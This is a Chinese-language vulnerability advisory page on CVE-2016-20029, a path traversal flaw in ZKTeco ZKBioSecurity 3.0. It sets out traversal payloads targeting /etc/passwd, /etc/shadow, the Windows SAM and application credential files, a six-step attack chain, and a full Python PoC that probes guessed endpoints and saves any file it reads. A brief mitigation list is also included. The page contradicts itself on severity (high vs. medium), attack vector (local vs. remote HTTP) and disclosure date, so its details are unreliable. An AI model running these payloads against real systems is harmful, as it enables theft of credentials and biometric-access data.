IPBUF安全漏洞报告
English
CVE-2016-20029 CVSS 6.2 中危

CVE-2016-20029 ZKTeco ZKBioSecurity 3.0 文件路径操纵漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2016-20029
漏洞类型
文件路径操纵
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZKTeco ZKBioSecurity 3.0

相关标签

CVE-2016-20029文件路径操纵路径遍历ZKTecoZKBioSecurity门禁系统敏感信息泄露中危漏洞本地攻击无需认证

漏洞概述

CVE-2016-20029是ZKTeco公司开发的ZKBioSecurity 3.0生物识别门禁系统中存在的一个高危安全漏洞。该漏洞属于文件路径操纵(File Path Manipulation)类型,CVSS评分6.2,中危级别。漏洞允许未经认证的本地攻击者通过构造特殊的文件路径参数,绕过系统的访问控制机制,访问服务器上的任意文件。这包括但不限于系统配置文件、应用源代码、用户数据库、认证凭证文件以及其他敏感资源。由于该漏洞无需认证即可利用,且攻击向量为本地访问(AV:L),攻击复杂度低(AC:L),对系统的机密性造成严重影响(C:H)。ZKBioSecurity作为企业级门禁和考勤管理系统,通常部署在关键设施中,存储有大量敏感的人员进出记录和生物特征数据。一旦攻击者利用此漏洞获取配置文件或数据库,可能导致更严重的后续攻击,如横向移动、权限提升或数据泄露。该漏洞由VulnCheck安全团队发现并报告,披露日期为2016年。

技术细节

该漏洞的根本原因在于ZKBioSecurity 3.0的Web应用层在处理文件资源请求时,对用户输入的文件路径参数缺乏充分的验证和过滤。应用程序直接使用用户可控的参数值来构建文件读取操作的文件路径,而没有进行路径规范化(Path Normalization)和安全检查。攻击者可以利用路径遍历技术,使用../等相对路径序列来跳出预期的文件目录,访问Web根目录之外的系统文件。例如,通过构造类似/download?file=../../../../etc/passwd的请求,攻击者可以读取Linux系统的用户密码文件。在Windows系统上,类似..\..\..\windows\system32\config\sam的请求可能导致SAM数据库被窃取。此外,攻击者还可以使用绝对路径直接指定目标文件,如file=C:\ZKBioSecurity\config\database.conf。此漏洞存在于系统的多个功能模块中,包括资源下载接口、日志查看功能和报表导出功能。由于系统默认以高权限运行Web服务进程,攻击者可以读取包括配置文件、源代码、数据库连接凭证等敏感信息。成功利用此漏洞后,攻击者可以获取足够的信息来进一步渗透内网或执行远程代码执行攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标服务器上运行的ZKBioSecurity 3.0版本,通过端口扫描或Web指纹识别确定系统版本和配置
STEP 2
步骤2: 发现攻击入口点
攻击者分析Web应用的URL结构,识别存在文件读取功能的端点,如/download、/file/download、/resource/get等接口
STEP 3
步骤3: 构造路径遍历Payload
攻击者构造恶意的文件路径参数,使用../序列进行目录遍历,尝试访问系统文件或应用配置文件
STEP 4
步骤4: 验证漏洞存在
通过发送精心构造的HTTP请求(如file=../../../../etc/passwd),观察服务器响应内容,验证是否成功读取敏感文件
STEP 5
步骤5: 提取敏感信息
一旦漏洞确认,攻击者逐步提取敏感文件,包括数据库配置文件(获取数据库凭证)、应用源代码(发现更多漏洞)、系统密码文件等
STEP 6
步骤6: 横向移动或权限提升
利用获取的凭证信息,攻击者可以连接数据库获取更多用户数据,或尝试通过获取的凭据登录管理后台,执行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2016-20029 - ZKTeco ZKBioSecurity 3.0 File Path Manipulation PoC Author: Security Researcher Reference: https://www.exploit-db.com/exploits/40326/ """ import requests import sys TARGET_HOST = "http://target-zkbiosecurity.com" def test_file_path_traversal(target): """Test for file path traversal vulnerability""" # Common sensitive files to test test_files = [ # Linux targets ("../../../../etc/passwd", "passwd_file"), ("../../../../etc/shadow", "shadow_file"), ("../../../../../../etc/passwd", "passwd_deep"), # Windows targets ("..\..\..\..\windows\system32\config\sam", "windows_sam"), ("..\..\..\..\windows\win.ini", "windows_ini"), # Application specific files ("../../config/database.conf", "db_config"), ("../../app/config.xml", "app_config"), ("../../../../ZKBioSecurity/config/credential.dat", "zk_creds"), ] # Common vulnerable endpoints endpoints = [ "/download", "/file/download", "/resource/get", "/log/view", "/report/export", "/api/file", ] print(f"[*] Testing {target} for CVE-2016-20029") print(f"[*] Target: {target}") print("=" * 60) for endpoint in endpoints: for file_path, description in test_files: try: # Test with 'file' parameter url = f"{target}{endpoint}" params = {"file": file_path} print(f"\n[~] Testing: {endpoint} with {description}") print(f"[~] Parameter: file={file_path}") response = requests.get(url, params=params, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'text' in content_type or 'application' in content_type: if len(response.content) > 0: print(f"[!] VULNERABLE! Received {len(response.content)} bytes") print(f"[+] Content preview: {response.text[:200]}...") # Save to file filename = f"poc_output_{description}.txt" with open(filename, 'w') as f: f.write(response.text) print(f"[+] Saved response to {filename}") return True elif response.status_code == 403: print(f"[-] Access denied (403)") else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") print("\n[*] Testing complete") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_HOST print(f"[*] No target specified, using default: {target}") test_file_path_traversal(target)

影响范围

ZKTeco ZKBioSecurity 3.0(所有版本)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)通过防火墙或反向代理限制对ZKBioSecurity Web接口的访问,仅允许受信任的管理IP访问;2)使用Web应用防火墙规则拦截包含../序列的请求参数;3)检查并修改Web服务器配置,禁用可能导致路径遍历的文件处理功能;4)将ZKBioSecurity的数据目录迁移到与系统目录隔离的独立分区;5)加强文件系统权限,限制Web进程对敏感目录的读取权限;6)部署入侵检测系统(IDS)监控异常的文件访问模式;7)考虑暂时禁用非必要的文件下载和导出功能,待漏洞修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表